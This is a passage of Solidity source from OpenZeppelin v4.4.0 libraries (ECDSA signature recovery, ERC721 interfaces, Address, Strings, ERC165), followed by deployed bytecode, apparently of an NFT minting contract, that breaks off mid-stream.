) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102675760003560e01c806370a0823111610144578063c87b56dd116100b6578063e423a5111161007a578063e423a5111461089b578063e72be68a146108c4578063e8a3d485146108ed578063e985e9c514610918578063ee37520b14610955578063f2fde38b1461096c57610267565b8063c87b56dd146107c8578063c9f9a72314610805578063cb908cce1461082e578063d1b85c5314610845578063e081b7811461087057610267565b806395d89b411161010857806395d89b41146106cc578063978528c0146106f7578063a22cb46514610720578063a4f8eaeb14610749578063b88d4fde14610774578063c30e76841461079d57610267565b806370a08231146105f9578063715018a61461063657806372bfb1af1461064d5780638da5cb5b14610678578063938e3d7b146106a357610267565b806335ef4fb7116101dd57806351830227116101a157806351830227146104f857806355f804b3146105235780635b0c52fd1461054c5780635ca5933a146105755780636352211e14610591578063676dd563146105ce57610267565b806335ef4fb71461044b57806339aba407146104765780633ccfd60b146104a157806342842e0e146104b857806345bcf17f146104e157610267565b806311084c971161022f57806311084c971461035157806318160ddd1461037a5780631bd98e72146103a557806323b872dd146103ce5780632cff9e06146103f75780633125ac6c1461042257610267565b806301ffc9a71461026c578063049c5c49146102a957806306fdde03146102c0578063081812fc146102eb578063095ea7b314610328575b600080fd5b34801561027857600080fd5b50610293600480360381019061028e9190613b68565b610995565b6040516102a0919061442d565b60405180910390f35b3480156102b557600080fd5b506102be610a77565b005b3480156102cc57600080fd5b506102d5610b1f565b6040516102e2919061448d565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190613c0f565b610bb1565b60405161031f91906143c6565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190613b28565b610c36565b005b34801561035d57600080fd5b5061037860048036038101906103739190613c7c565b610d4e565b005b34801561038657600080fd5b5061038f610f7c565b60405161039c919061488f565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c79190613c3c565b610f82565b005b3480156103da57600080fd5b506103f560048036038101906103f09190613a12565b611144565b005b34801561040357600080fd5b5061040c6111a4565b604051610419919061442d565b60405180910390f35b34801561042e57600080fd5b5061044960048036038101906104449190613c0f565b6111b7565b005b34801561045757600080fd5b506104606112a4565b60405161046d91906143c6565b60405180910390f35b34801561048257600080fd5b5061048b6112ca565b604051610498919061488f565b60405180910390f35b3480156104ad57600080fd5b506104b66112d0565b005b3480156104c457600080fd5b506104df60048036038101906104da9190613a12565b6114dc565b005b3480156104ed57600080fd5b506104f66114fc565b005b34801561050457600080fd5b5061050d6115a4565b60405161051a919061442d565b60405180910390f35b34801561052f57600080fd5b5061054a60048036038101906105459190613bc2565b6115b7565b005b34801561055857600080fd5b50610573600480360381019061056e9190613c0f565b611649565b005b61058f600480360381019061058a9190613c7c565b6116cf565b005b34801561059d57600080fd5b506105b860048036038101906105b39190613c0f565b61198b565b6040516105c591906143c6565b60405180910390f35b3480156105da57600080fd5b506105e3611a3d565b6040516105f0919061488f565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b91906139a5565b611a43565b60405161062d919061488f565b60405180910390f35b34801561064257600080fd5b5061064b611afb565b005b34801561065957600080fd5b50610662611b83565b60405161066f919061488f565b60405180910390f35b34801561068457600080fd5b5061068d611b88565b60405161069a91906143c6565b60405180910390f35b3480156106af57600080fd5b506106ca60048036038101906106c59190613bc2565b611bb2565b005b3480156106d857600080fd5b506106e1611c44565b6040516106ee919061448d565b60405180910390f35b34801561070357600080fd5b5061071e600480360381019061071991906139a5565b611cd6565b005b34801561072c57600080fd5b5061074760048036038101906107429190613ae8565b611d96565b005b34801561075557600080fd5b5061075e611dac565b60405161076b919061448d565b60405180910390f35b34801561078057600080fd5b5061079b60048036038101906107969190613a65565b611e3a565b005b3480156107a957600080fd5b506107b2611e9c565b6040516107bf919061488f565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190613c0f565b611ea2565b6040516107fc919061448d565b60405180910390f35b34801561081157600080fd5b5061082c60048036038101906108279190613c0f565b611fcd565b005b34801561083a57600080fd5b506108436120c0565b005b34801561085157600080fd5b5061085a612168565b604051610867919061442d565b60405180910390f35b34801561087c57600080fd5b5061088561217b565b604051610892919061442d565b60405180910390f35b3480156108a757600080fd5b506108c260048036038101906108bd9190613c0f565b61218e565b005b3480156108d057600080fd5b506108eb60048036038101906108e69190613bc2565b612214565b005b3480156108f957600080fd5b506109026122a6565b60405161090f919061448d565b60405180910390f35b34801561092457600080fd5b5061093f600480360381019061093a91906139d2565b612338565b60405161094c919061442d565b60405180910390f35b34801561096157600080fd5b5061096a6123cc565b005b34801561097857600080fd5b50610993600480360381019061098e91906139a5565b612474565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a6057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a705750610a6f8261256c565b5b9050919050565b610a7f6125d6565b73ffffffffffffffffffffffffffffffffffffffff16610a9d611b88565b73ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea9061472f565b60405180910390fd5b601260019054906101000a900460ff1615601260016101000a81548160ff021916908315150217905550565b606060008054610b2e90614b3a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5a90614b3a565b8015610ba75780601f10610b7c57610100808354040283529160200191610ba7565b820191906000526020600020905b815481529060010190602001808311610b8a57829003601f168201915b5050505050905090565b6000610bbc826125de565b610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf29061470f565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c418261198b565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca99061478f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610cd16125d6565b73ffffffffffffffffffffffffffffffffffffffff161480610d005750610cff81610cfa6125d6565b612338565b5b610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d369061464f565b60405180910390fd5b610d49838361264a565b505050565b601260029054906101000a900460ff16610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d949061486f565b60405180910390fd5b600c5460135410610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda906145cf565b60405180910390fd5b600c5484601354610df49190614958565b1115610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906147af565b60405180910390fd5b600015156011600085815260200190815260200160002060009054906101000a900460ff16151514610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e93906146af565b60405180910390fd5b610eb0610eaa848487612703565b82612764565b610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee6906147cf565b60405180910390fd5b60016011600085815260200190815260200160002060006101000a81548160ff02191690831515021790555060005b84811015610f5c57610f4983600183601354610f3a9190614958565b610f449190614958565b6127c8565b8080610f5490614b9d565b915050610f1e565b508360136000828254610f6f9190614958565b9250508190555050505050565b60135481565b610f8a6125d6565b73ffffffffffffffffffffffffffffffffffffffff16610fa8611b88565b73ffffffffffffffffffffffffffffffffffffffff1614610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff59061472f565b60405180910390fd5b601260029054906101000a900460ff1661104d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110449061486f565b60405180910390fd5b600c5460135410611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a906145cf565b60405180910390fd5b600c54826013546110a49190614958565b11156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc9061454f565b60405180910390fd5b60005b8281101561112657611113826001836013546111049190614958565b61110e9190614958565b6127c8565b808061111e90614b9d565b9150506110e8565b5081601360008282546111399190614958565b925050819055505050565b61115561114f6125d6565b826127e6565b611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118b906147ef565b60405180910390fd5b61119f8383836128c4565b505050565b601260029054906101000a900460ff1681565b60011515601260039054906101000a900460ff1615151461120d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611204906144cf565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff1661122d8261198b565b73ffffffffffffffffffffffffffffffffffffffff1614611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a9061480f565b60405180910390fd5b61128c81612b20565b600160145461129b9190614958565b60148190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b6000479050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606460328461132091906149df565b61132a91906149ae565b9081150290604051600060405180830381858888f19350505050158015611355573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601e846113a191906149df565b6113ab91906149ae565b9081150290604051600060405180830381858888f193505050501580156113d6573d6000803e3d6000fd5b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600a8461142291906149df565b61142c91906149ae565b9081150290604051600060405180830381858888f19350505050158015611457573d6000803e3d6000fd5b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600a846114a391906149df565b6114ad91906149ae565b9081150290604051600060405180830381858888f193505050501580156114d8573d6000803e3d6000fd5b5050565b6114f783838360405180602001604052806000815250611e3a565b505050565b6115046125d6565b73ffffffffffffffffffffffffffffffffffffffff16611522611b88565b73ffffffffffffffffffffffffffffffffffffffff1614611578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156f9061472f565b60405180910390fd5b601260009054906101000a900460ff1615601260006101000a81548160ff021916908315150217905550565b601260009054906101000a900460ff1681565b6115bf6125d6565b73ffffffffffffffffffffffffffffffffffffffff166115dd611b88565b73ffffffffffffffffffffffffffffffffffffffff1614611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a9061472f565b60405180910390fd5b8181600f91906116449291906137d3565b505050565b6116516125d6565b73ffffffffffffffffffffffffffffffffffffffff1661166f611b88565b73ffffffffffffffffffffffffffffffffffffffff16146116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc9061472f565b60405180910390fd5b80600c8190555050565b601260019054906101000a900460ff1661171e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117159061460f565b60405180910390fd5b600c5460135410611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b906145cf565b60405180910390fd5b600c54846013546117759190614958565b11156117b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ad9061454f565b60405180910390fd5b3484600d546117c591906149df565b1115611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fd9061484f565b60405180910390fd5b6011600084815260200190815260200160002060009054906101000a900460ff1615611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185e906146af565b60405180910390fd5b60088411156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a29061482f565b60405180910390fd5b6118bf6118b9848487612703565b82612764565b6118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f5906147cf565b60405180910390fd5b60016011600085815260200190815260200160002060006101000a81548160ff02191690831515021790555060005b8481101561196b57611958336001836013546119499190614958565b6119539190614958565b6127c8565b808061196390614b9d565b91505061192d565b50836013600082825461197e9190614958565b9250508190555050505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b9061468f565b60405180910390fd5b80915050919050565b600d5481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aab9061466f565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611b036125d6565b73ffffffffffffffffffffffffffffffffffffffff16611b21611b88565b73ffffffffffffffffffffffffffffffffffffffff1614611b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6e9061472f565b60405180910390fd5b611b816000612c31565b565b600881565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611bba6125d6565b73ffffffffffffffffffffffffffffffffffffffff16611bd8611b88565b73ffffffffffffffffffffffffffffffffffffffff1614611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c259061472f565b60405180910390fd5b8181600e9190611c3f9291906137d3565b505050565b606060018054611c5390614b3a565b80601f0160208091040260200160405190810160405280929190818152602001828054611c7f90614b3a565b8015611ccc5780601f10611ca157610100808354040283529160200191611ccc565b820191906000526020600020905b815481529060010190602001808311611caf57829003601f168201915b5050505050905090565b611cde6125d6565b73ffffffffffffffffffffffffffffffffffffffff16611cfc611b88565b73ffffffffffffffffffffffffffffffffffffffff1614611d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d499061472f565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611da8611da16125d6565b8383612cf7565b5050565b60108054611db990614b3a565b80601f0160208091040260200160405190810160405280929190818152602001828054611de590614b3a565b8015611e325780601f10611e0757610100808354040283529160200191611e32565b820191906000526020600020905b815481529060010190602001808311611e1557829003601f168201915b505050505081565b611e4b611e456125d6565b836127e6565b611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e81906147ef565b60405180910390fd5b611e9684848484612e64565b50505050565b600c5481565b6060611ead826125de565b611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee39061476f565b60405180910390fd5b60001515601260009054906101000a900460ff1615151415611f9a5760108054611f1590614b3a565b80601f0160208091040260200160405190810160405280929190818152602001828054611f4190614b3a565b8015611f8e5780601f10611f6357610100808354040283529160200191611f8e565b820191906000526020600020905b815481529060010190602001808311611f7157829003601f168201915b50505050509050611fc8565b600f611fa583612ec0565b604051602001611fb6929190614334565b60405160208183030381529060405290505b919050565b611fd56125d6565b73ffffffffffffffffffffffffffffffffffffffff16611ff3611b88565b73ffffffffffffffffffffffffffffffffffffffff1614612049576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120409061472f565b60405180910390fd5b60011515601260039054906101000a900460ff1615151461209f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612096906144cf565b60405180910390fd5b6120a881612b20565b60016014546120b79190614958565b60148190555050565b6120c86125d6565b73ffffffffffffffffffffffffffffffffffffffff166120e6611b88565b73fffffffffffffffffffffffffffffffffff